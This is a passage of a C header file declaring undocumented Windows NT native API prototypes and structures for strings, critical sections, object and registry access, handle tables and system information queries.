PUNICODE_STRING String2,\n IN BOOLEAN CaseInSensitive\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDuplicateUnicodeString(\n IN BOOLEAN AllocateNew,\n IN PUNICODE_STRING SourceString,\n OUT PUNICODE_STRING TargetString\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeToString (\n PUNICODE_STRING Destination,\n PCWSTR Source\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeStringToString(\n IN OUT PUNICODE_STRING Destination,\n IN PUNICODE_STRING Source\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToInteger (\n IN PUNICODE_STRING String,\n IN ULONG Base OPTIONAL,\n OUT PULONG Value\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIntegerToUnicodeString (\n IN ULONG Value,\n IN ULONG Base OPTIONAL,\n IN OUT PUNICODE_STRING String\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGUIDFromString(\n IN PUNICODE_STRING GuidString,\n OUT GUID *Guid\n );\n\n\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareUnicodeString (\n IN PUNICODE_STRING String1,\n IN PUNICODE_STRING String2,\n IN BOOLEAN CaseInSensitive\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyUnicodeString(\n OUT PUNICODE_STRING DestinationString,\n IN PUNICODE_STRING SourceString\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeString (\n OUT PUNICODE_STRING DestinationString,\n IN PUNICODE_STRING SourceString,\n IN BOOLEAN AllocateDestinationString\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDowncaseUnicodeString (\n OUT PUNICODE_STRING DestinationString,\n IN PUNICODE_STRING SourceString,\n IN BOOLEAN AllocateDestinationString\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualUnicodeString (\n IN PUNICODE_STRING String1,\n IN PUNICODE_STRING String2,\n IN BOOLEAN CaseInSensitive\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeUnicodeString(\n IN PUNICODE_STRING UnicodeString\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAnsiStringToUnicodeString (\n OUT PUNICODE_STRING DestinationString,\n IN PANSI_STRING SourceString,\n IN BOOLEAN AllocateDestinationString\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToAnsiString (\n OUT PANSI_STRING DestinationString,\n IN PUNICODE_STRING SourceString,\n IN BOOLEAN AllocateDestinationString\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitAnsiString (\n OUT PANSI_STRING DestinationString,\n IN PCHAR SourceString\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeAnsiString (\n IN PANSI_STRING AnsiString\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFormatCurrentUserKeyPath(\n OUT PUNICODE_STRING CurrentUserKeyPath\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRaiseStatus (\n IN NTSTATUS Status\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nDbgBreakPoint(\n VOID\n );\n\n\nNTSYSAPI\nULONG\n_cdecl\nDbgPrint (\n PCH Format,\n ...\n );\n\n\nNTSYSAPI\nULONG\nNTAPI\nRtlRandom(\n IN OUT PULONG Seed\n );\n\n//-----------------------------------------------------------------------------\n// Critical section functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeCriticalSection(\n IN PRTL_CRITICAL_SECTION CriticalSection\n );\n\n\nNTSYSAPI\nBOOL\nNTAPI\nRtlTryEnterCriticalSection(\n IN PRTL_CRITICAL_SECTION CriticalSection\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEnterCriticalSection(\n IN PRTL_CRITICAL_SECTION CriticalSection\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLeaveCriticalSection(\n IN PRTL_CRITICAL_SECTION CriticalSection\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteCriticalSection(\n IN PRTL_CRITICAL_SECTION CriticalSection\n );\n\n//-----------------------------------------------------------------------------\n// Object functions\n\n//\n// Object Manager Directory Specific Access Rights.\n//\n\n#ifndef DIRECTORY_QUERY\n#define DIRECTORY_QUERY (0x0001)\n#define DIRECTORY_TRAVERSE (0x0002)\n#define DIRECTORY_CREATE_OBJECT (0x0004)\n#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008)\n#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)\n#endif\n\ntypedef enum _POOL_TYPE {\n NonPagedPool,\n PagedPool,\n NonPagedPoolMustSucceed,\n DontUseThisType,\n NonPagedPoolCacheAligned,\n PagedPoolCacheAligned,\n NonPagedPoolCacheAlignedMustS,\n MaxPoolType\n} POOL_TYPE;\n\n\n//\n// For NtQueryObject\n//\n\ntypedef enum _OBJECT_INFORMATION_CLASS {\n ObjectBasicInformation, // = 0\n ObjectNameInformation, // = 1\n ObjectTypeInformation, // = 2\n ObjectTypesInformation, // = 3 //object handle is ignored\n ObjectHandleFlagInformation // = 4\n} OBJECT_INFORMATION_CLASS;\n\n//\n// NtQueryObject uses ObjectBasicInformation\n//\n\ntypedef struct _OBJECT_BASIC_INFORMATION {\n ULONG Attributes;\n ACCESS_MASK GrantedAccess;\n ULONG HandleCount;\n ULONG PointerCount;\n ULONG PagedPoolCharge;\n ULONG NonPagedPoolCharge;\n ULONG Reserved[3];\n ULONG NameInfoSize;\n ULONG TypeInfoSize;\n ULONG SecurityDescriptorSize;\n LARGE_INTEGER CreationTime;\n} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;\n\n//\n// NtQueryObject uses ObjectNameInformation\n//\n\ntypedef struct _OBJECT_NAME_INFORMATION {\n UNICODE_STRING Name;\n} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;\n\n//\n// NtQueryObject uses ObjectTypeInformation\n//\n\ntypedef struct _OBJECT_TYPE_INFORMATION {\n UNICODE_STRING TypeName;\n ULONG TotalNumberOfObjects;\n ULONG TotalNumberOfHandles;\n ULONG TotalPagedPoolUsage;\n ULONG TotalNonPagedPoolUsage;\n ULONG TotalNamePoolUsage;\n ULONG TotalHandleTableUsage;\n ULONG HighWaterNumberOfObjects;\n ULONG HighWaterNumberOfHandles;\n ULONG HighWaterPagedPoolUsage;\n ULONG HighWaterNonPagedPoolUsage;\n ULONG HighWaterNamePoolUsage;\n ULONG HighWaterHandleTableUsage;\n ULONG InvalidAttributes;\n GENERIC_MAPPING GenericMapping;\n ULONG ValidAccessMask;\n BOOLEAN SecurityRequired;\n BOOLEAN MaintainHandleCount;\n POOL_TYPE PoolType;\n ULONG DefaultPagedPoolCharge;\n ULONG DefaultNonPagedPoolCharge;\n} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;\n\n//\n// NtQueryObject uses ObjectHandleFlagInformation\n// NtSetInformationObject uses ObjectHandleFlagInformation\n//\n\ntypedef struct _OBJECT_HANDLE_FLAG_INFORMATION {\n BOOLEAN Inherit;\n BOOLEAN ProtectFromClose;\n} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION;\n\n//\n// NtQueryDirectoryObject uses this type\n//\n\ntypedef struct _OBJECT_DIRECTORY_INFORMATION {\n UNICODE_STRING Name;\n UNICODE_STRING TypeName;\n} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenDirectoryObject(\n OUT PHANDLE DirectoryHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryObject(\n IN HANDLE DirectoryHandle,\n OUT PVOID Buffer,\n IN ULONG Length,\n IN BOOLEAN ReturnSingleEntry,\n IN BOOLEAN RestartScan,\n IN OUT PULONG Context,\n OUT PULONG ReturnLength OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryObject (\n IN HANDLE ObjectHandle,\n IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n OUT PVOID ObjectInformation,\n IN ULONG Length,\n OUT PULONG ResultLength OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationObject (\n IN HANDLE ObjectHandle,\n IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\n IN PVOID ObjectInformation,\n IN ULONG Length\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDuplicateObject (\n IN HANDLE SourceProcessHandle,\n IN HANDLE SourceHandle,\n IN HANDLE TargetProcessHandle OPTIONAL,\n OUT PHANDLE TargetHandle OPTIONAL,\n IN ACCESS_MASK DesiredAccess,\n IN ULONG HandleAttributes,\n IN ULONG Options\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySecurityObject (\n IN HANDLE ObjectHandle,\n IN SECURITY_INFORMATION SecurityInformation,\n OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n IN ULONG DescriptorLength,\n OUT PULONG ReturnLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetSecurityObject (\n IN HANDLE ObjectHandle,\n IN SECURITY_INFORMATION SecurityInformation,\n IN PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\n\n//-----------------------------------------------------------------------------\n// Handle table RTL functions\n\n#define LEVEL_HANDLE_ID 0x74000000\n#define LEVEL_HANDLE_ID_MASK 0xFF000000\n#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF\n\ntypedef enum _RTL_GENERIC_COMPARE_RESULTS {\n GenericLessThan,\n GenericGreaterThan,\n GenericEqual\n} RTL_GENERIC_COMPARE_RESULTS;\n\n\ntypedef struct _RTL_SPLAY_LINKS\n{\n struct _RTL_SPLAY_LINKS *Parent;\n struct _RTL_SPLAY_LINKS *LeftChild;\n struct _RTL_SPLAY_LINKS *RightChild;\n} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS;\n\n\nstruct _RTL_GENERIC_TABLE;\n\ntypedef\nRTL_GENERIC_COMPARE_RESULTS\n(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) (\n struct _RTL_GENERIC_TABLE *Table,\n PVOID FirstStruct,\n PVOID SecondStruct\n );\n\ntypedef\nPVOID\n(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) (\n struct _RTL_GENERIC_TABLE *Table,\n ULONG ByteSize\n );\n\ntypedef\nVOID\n(NTAPI *PRTL_GENERIC_FREE_ROUTINE) (\n struct _RTL_GENERIC_TABLE *Table,\n PVOID Buffer\n );\n\n\ntypedef struct _RTL_GENERIC_TABLE {\n PRTL_SPLAY_LINKS TableRoot;\n LIST_ENTRY InsertOrderList;\n PLIST_ENTRY OrderedPointer;\n ULONG WhichOrderedElement;\n ULONG NumberGenericTableElements;\n PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;\n PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;\n PRTL_GENERIC_FREE_ROUTINE FreeRoutine;\n PVOID TableContext;\n} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE;\n\n\ntypedef struct _RTL_HANDLE_TABLE_ENTRY\n{\n struct _RTL_HANDLE_TABLE_ENTRY *Next; /* pointer to next free handle */\n PVOID Object;\n\n} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY;\n\n\ntypedef struct _RTL_HANDLE_TABLE\n{\n ULONG MaximumNumberOfHandles;\n ULONG SizeOfHandleTableEntry;\n ULONG Unknown01;\n ULONG Unknown02;\n PRTL_HANDLE_TABLE_ENTRY FreeHandles;\n PRTL_HANDLE_TABLE_ENTRY CommittedHandles;\n PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles;\n PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles;\n} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE;\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeGenericTable (\n IN PRTL_GENERIC_TABLE Table,\n IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,\n IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,\n IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine,\n IN PVOID TableContext\n );\n\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeHandleTable(\n IN ULONG MaximumNumberOfHandles,\n IN ULONG SizeOfHandleTableEntry,\n OUT PRTL_HANDLE_TABLE HandleTable\n );\n\n\nNTSYSAPI\nPRTL_HANDLE_TABLE_ENTRY\nNTAPI\nRtlAllocateHandle(\n IN PRTL_HANDLE_TABLE HandleTable,\n OUT PULONG HandleIndex OPTIONAL\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHandle(\n IN PRTL_HANDLE_TABLE HandleTable,\n IN PRTL_HANDLE_TABLE_ENTRY Handle\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsValidIndexHandle(\n IN PRTL_HANDLE_TABLE HandleTable,\n IN ULONG HandleIndex,\n OUT PRTL_HANDLE_TABLE_ENTRY *Handle\n );\n\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlInsertElementGenericTable (\n IN PRTL_GENERIC_TABLE Table,\n IN PVOID Buffer,\n IN LONG BufferSize,\n OUT PBOOLEAN NewElement OPTIONAL\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmpty (\n IN PRTL_GENERIC_TABLE Table\n );\n\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsGenericTableEmpty (\n IN PRTL_GENERIC_TABLE Table\n );\n\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlLookupElementGenericTable (\n IN PRTL_GENERIC_TABLE Table,\n IN PVOID Buffer\n );\n\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlEnumerateGenericTableWithoutSplaying(\n IN PRTL_GENERIC_TABLE Table,\n IN PVOID *RestartKey\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtClose(\n IN HANDLE Handle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwClose(\n IN HANDLE Handle\n );\n\n//-----------------------------------------------------------------------------\n// Environment functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlOpenCurrentUser(\n IN ULONG DesiredAccess,\n OUT PHANDLE CurrentUserKey\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateEnvironment(\n BOOLEAN CloneCurrentEnvironment,\n PVOID *Environment\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryEnvironmentVariable_U (\n PVOID Environment,\n PUNICODE_STRING Name,\n PUNICODE_STRING Value\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetEnvironmentVariable(\n PVOID *Environment,\n PUNICODE_STRING Name,\n PUNICODE_STRING Value\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyEnvironment(\n PVOID Environment\n );\n\n//-----------------------------------------------------------------------------\n// Registry functions\n\n\ntypedef enum _KEY_INFORMATION_CLASS\n{\n KeyBasicInformation,\n KeyNodeInformation,\n KeyFullInformation,\n KeyNameInformation,\n KeyCachedInformation,\n KeyFlagsInformation,\n MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum\n\n} KEY_INFORMATION_CLASS;\n\n//\n// Key query structures\n//\n\ntypedef struct _KEY_BASIC_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG NameLength;\n WCHAR Name[1]; // Variable length string\n\n} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;\n\n\ntypedef struct _KEY_NODE_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG ClassOffset;\n ULONG ClassLength;\n ULONG NameLength;\n WCHAR Name[1]; // Variable length string\n// Class[1]; // Variable length string not declared\n} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION;\n\n\ntypedef struct _KEY_FULL_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG ClassOffset;\n ULONG ClassLength;\n ULONG SubKeys;\n ULONG MaxNameLen;\n ULONG MaxClassLen;\n ULONG Values;\n ULONG MaxValueNameLen;\n ULONG MaxValueDataLen;\n WCHAR Class[1]; // Variable length\n\n} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION;\n\n\n// end_wdm\ntypedef struct _KEY_NAME_INFORMATION\n{\n ULONG NameLength;\n WCHAR Name[1]; // Variable length string\n\n} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;\n\ntypedef struct _KEY_CACHED_INFORMATION\n{\n LARGE_INTEGER LastWriteTime;\n ULONG TitleIndex;\n ULONG SubKeys;\n ULONG MaxNameLen;\n ULONG Values;\n ULONG MaxValueNameLen;\n ULONG MaxValueDataLen;\n ULONG NameLength;\n WCHAR Name[1]; // Variable length string\n\n} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION;\n\n\ntypedef struct _KEY_FLAGS_INFORMATION\n{\n ULONG UserFlags;\n\n} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION;\n\n\n\ntypedef enum _KEY_VALUE_INFORMATION_CLASS {\n KeyValueBasicInformation,\n KeyValueFullInformation,\n KeyValuePartialInformation,\n KeyValueFullInformationAlign64,\n KeyValuePartialInformationAlign64,\n MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum\n} KEY_VALUE_INFORMATION_CLASS;\n\n\ntypedef struct _KEY_VALUE_FULL_INFORMATION {\n ULONG TitleIndex;\n ULONG Type;\n ULONG DataOffset;\n ULONG DataLength;\n ULONG NameLength;\n WCHAR Name[1]; // Variable size\n// Data[1]; // Variable size data not declared\n} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;\n\n\ntypedef struct _KEY_VALUE_PARTIAL_INFORMATION {\n ULONG TitleIndex;\n ULONG Type;\n ULONG DataLength;\n UCHAR Data[1]; // Variable size\n} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;\n\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateKey(\n OUT PHANDLE KeyHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes,\n IN ULONG TitleIndex,\n IN PUNICODE_STRING Class OPTIONAL,\n IN ULONG CreateOptions,\n OUT PULONG Disposition OPTIONAL\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenKey(\n OUT PHANDLE KeyHandle,\n IN ACCESS_MASK DesiredAccess,\n IN POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryKey(\n IN HANDLE KeyHandle,\n IN KEY_INFORMATION_CLASS KeyInformationClass,\n OUT PVOID KeyInformation,\n IN ULONG Length,\n OUT PULONG ResultLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtEnumerateKey(\n IN HANDLE KeyHandle,\n IN ULONG Index,\n IN KEY_INFORMATION_CLASS KeyInformationClass,\n IN PVOID KeyInformation,\n IN ULONG Length,\n IN PULONG ResultLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteKey(\n IN HANDLE KeyHandle\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryValueKey(\n IN HANDLE KeyHandle,\n IN PUNICODE_STRING ValueName,\n IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,\n OUT PVOID KeyValueInformation,\n IN ULONG Length,\n OUT PULONG ResultLength\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetValueKey(\n IN HANDLE KeyHandle,\n IN PUNICODE_STRING ValueName,\n IN ULONG TitleIndex OPTIONAL,\n IN ULONG Type,\n IN PVOID Data,\n IN ULONG DataSize\n );\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteValueKey(\n IN HANDLE KeyHandle,\n IN PUNICODE_STRING ValueName\n );\n\n//-----------------------------------------------------------------------------\n// RtlQueryRegistryValues\n\n//\n// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE\n// entry is interpreted. A NULL name indicates the end of the table.\n//\n\n#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of\n // table or until next subkey are value\n // names for that subkey to look at.\n\n#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for\n // this and all following table entries.\n\n#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table\n // entry.\n\n#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no\n // value name, just wants a call out, not\n // an enumeration of all values.\n\n#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of\n // REG_MULTI_SZ into multiple callouts or\n // to prevent the expansion of environment\n // variable values in REG_EXPAND_SZ\n\n#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext\n // field points to location to store value.\n // For null terminated strings, EntryContext\n // points to UNICODE_STRING structure that\n // that describes maximum size of buffer.\n // If .Buffer field is NULL then a buffer is\n // allocated.\n //\n\n#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they\n // are queried.\n\n\n//\n// The following values for the RelativeTo parameter determine what the\n// Path parameter to RtlQueryRegistryValues is relative to.\n//\n\n#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path\n#define RTL_REGISTRY_SERVICES 1 // \\Registry\\Machine\\System\\CurrentControlSet\\Services\n#define RTL_REGISTRY_CONTROL 2 // \\Registry\\Machine\\System\\CurrentControlSet\\Control\n#define RTL_REGISTRY_WINDOWS_NT 3 // \\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\n#define RTL_REGISTRY_DEVICEMAP 4 // \\Registry\\Machine\\Hardware\\DeviceMap\n#define RTL_REGISTRY_USER 5 // \\Registry\\User\\CurrentUser\n#define RTL_REGISTRY_MAXIMUM 6\n#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle\n#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional\n\n\ntypedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)(\n IN PWSTR ValueName,\n IN ULONG ValueType,\n IN PVOID ValueData,\n IN ULONG ValueLength,\n IN PVOID Context,\n IN PVOID EntryContext\n );\n\ntypedef struct _RTL_QUERY_REGISTRY_TABLE\n{\n PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;\n ULONG Flags;\n PWSTR Name;\n PVOID EntryContext;\n ULONG DefaultType;\n PVOID DefaultData;\n ULONG DefaultLength;\n\n} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryRegistryValues(\n IN ULONG RelativeTo,\n IN PCWSTR Path,\n IN PRTL_QUERY_REGISTRY_TABLE QueryTable,\n IN PVOID Context,\n IN PVOID Environment OPTIONAL\n );\n\n\n//-----------------------------------------------------------------------------\n// Query system information\n\ntypedef enum _SYSTEM_INFORMATION_CLASS\n{\n SystemBasicInformation, // 0x00 SYSTEM_BASIC_INFORMATION\n SystemProcessorInformation, // 0x01 SYSTEM_PROCESSOR_INFORMATION\n SystemPerformanceInformation, // 0x02\n SystemTimeOfDayInformation, // 0x03\n SystemPathInformation, // 0x04\n SystemProcessInformation, // 0x05\n SystemCallCountInformation, // 0x06\n SystemDeviceInformation, // 0x07\n SystemProcessorPerformanceInformation, // 0x08\n SystemFlagsInformation, // 0x09\n SystemCallTimeInformation, // 0x0A\n SystemModuleInformation, // 0x0B SYSTEM_MODULE_INFORMATION\n SystemLocksInformation, // 0x0C\n SystemStackTraceInformation, // 0x0D\n SystemPagedPoolInformation, // 0x0E\n SystemNonPagedPoolInformation, // 0x0F\n SystemHandleInformation, // 0x10\n SystemObjectInformation, // 0x11\n SystemPageFileInformation, // 0x12\n SystemVdmInstemulInformation, // 0x13\n SystemVdmBopInformation, // 0x14\n SystemFileCacheInformation, // 0x15\n SystemPoolTagInformation, // 0x16\n SystemInterruptInformation, // 0x17\n SystemDpcBehaviorInformation, // 0x18\n SystemFullMemoryInformation, // 0x19\n SystemLoadGdiDriverInformation, // 0x1A\n SystemUnloadGdiDriverInformation, // 0x1B\n SystemTimeAdjustmentInformation, // 0x1C\n SystemSummaryMemoryInformation, // 0x1D\n SystemNextEventIdInformation, // 0x1E\n SystemEventIdsInformation, // 0x1F\n SystemCrashDumpInformation, // 0x20\n SystemExceptionInformation, // 0x21\n SystemCrashDumpStateInformation, // 0x22\n SystemKernelDebuggerInformation, // 0x23\n SystemContextSwitchInformation, // 0x24\n SystemRegistryQuotaInformation, // 0x25\n SystemExtendServiceTableInformation, // 0x26\n SystemPrioritySeperation, // 0x27\n SystemPlugPlayBusInformation, // 0x28\n SystemDockInformation, // 0x29\n //SystemPowerInformation, // 0x2A\n //SystemProcessorSpeedInformation, // 0x2B\n //SystemCurrentTimeZoneInformation, // 0x2C\n //SystemLookasideInformation // 0x2D\n\n} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;\n\n//\n// Thread priority\n//\n\ntypedef LONG KPRIORITY;\n\n//\n// Basic System information\n// NtQuerySystemInformation with SystemBasicInformation\n//\n\ntypedef struct _SYSTEM_BASIC_INFORMATION {\n ULONG Reserved;\n ULONG TimerResolution;\n ULONG PageSize;\n ULONG NumberOfPhysicalPages;\n ULONG LowestPhysicalPageNumber;\n ULONG HighestPhysicalPageNumber;\n ULONG AllocationGranularity;\n ULONG MinimumUserModeAddress;\n ULONG MaximumUserModeAddress;\n KAFFINITY ActiveProcessorsAffinityMask;\n CCHAR NumberOfProcessors;\n} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;\n\n//\n// Processor information\n// NtQuerySystemInformation with SystemProcessorInformation\n//\n\ntypedef struct _SYSTEM_PROCESSOR_INFORMATION {\n USHORT ProcessorArchitecture;\n USHORT ProcessorLevel;\n USHORT ProcessorRevision;\n USHORT Reserved;\n ULONG ProcessorFeatureBits;\n} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION;\n\n//\n// Performance information\n// NtQuerySystemInformation with SystemPerformanceInformation\n//\n\ntypedef struct _SYSTEM_PERFORMANCE_INFORMATION {\n LARGE_INTEGER IdleProcessTime;\n LARGE_INTEGER IoReadTransferCount;\n LARGE_INTEGER IoWriteTransferCount;\n LARGE_INTEGER IoOtherTransferCount;\n ULONG IoReadOperationCount;\n ULONG IoWriteOperationCount;\n ULONG IoOtherOperationCount;\n ULONG AvailablePages;\n ULONG CommittedPages;\n ULONG CommitLimit;\n ULONG PeakCommitment;\n ULONG PageFaultCount;\n ULONG CopyOnWriteCount;\n ULONG TransitionCount;\n ULONG CacheTransitionCount;\n ULONG DemandZeroCount;\n ULONG PageReadCount;\n ULONG PageReadIoCount;\n ULONG CacheReadCount;\n ULONG CacheIoCount;\n ULONG DirtyPagesWriteCount;\n ULONG DirtyWriteIoCount;\n ULONG MappedPagesWriteCount;\n ULONG MappedWriteIoCount;\n ULONG PagedPoolPages;\n ULONG NonPagedPoolPages;\n ULONG PagedPoolAllocs;\n ULONG PagedPoolFrees;\n ULONG NonPagedPoolAllocs;\n ULONG NonPagedPoolFrees;\n ULONG FreeSystemPtes;\n ULONG ResidentSystemCodePage;\n ULONG TotalSystemDriverPages;\n ULONG TotalSystemCodePages;\n ULONG NonPagedPoolLookasideHits;\n ULONG PagedPoolLookasideHits;\n ULONG Spare3Count;\n ULONG ResidentSystemCachePage;\n ULONG ResidentPagedPoolPage;\n ULONG ResidentSystemDriverPage;\n ULONG CcFastReadNoWait;\n ULONG CcFastReadWait;\n ULONG CcFastReadResourceMiss;\n ULONG CcFastReadNotPossible;\n ULONG CcFastMdlReadNoWait;\n ULONG CcFastMdlReadWait;\n ULONG CcFastMdlReadResourceMiss;\n ULONG CcFastMdlReadNotPossible;\n ULONG CcMapDataNoWait;\n ULONG CcMapDataWait;\n ULONG CcMapDataNoWaitMiss;\n ULONG CcMapDataWaitMiss;\n ULONG CcPinMappedDataCount;\n ULONG CcPinReadNoWait;\n ULONG CcPinReadWait;\n ULONG CcPinReadNoWaitMiss;\n ULONG CcPinReadWaitMiss;\n ULONG CcCopyReadNoWait;\n ULONG CcCopyReadWait;\n ULONG CcCopyReadNoWaitMiss;\n ULONG CcCopyReadWaitMiss;\n ULONG CcMdlReadNoWait;\n ULONG CcMdlReadWait;\n ULONG CcMdlReadNoWaitMiss;\n ULONG CcMdlReadWaitMiss;\n ULONG CcReadAheadIos;\n ULONG CcLazyWriteIos;\n ULONG CcLazyWritePages;\n ULONG CcDataFlushes;\n ULONG CcDataPages;\n ULONG ContextSwitches;\n ULONG FirstLevelTbFills;\n ULONG SecondLevelTbFills;\n ULONG SystemCalls;\n} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;\n\n//\n// Time of Day information\n// NtQuerySystemInformation with SystemTimeOfDayInformation\n//\n\ntypedef struct 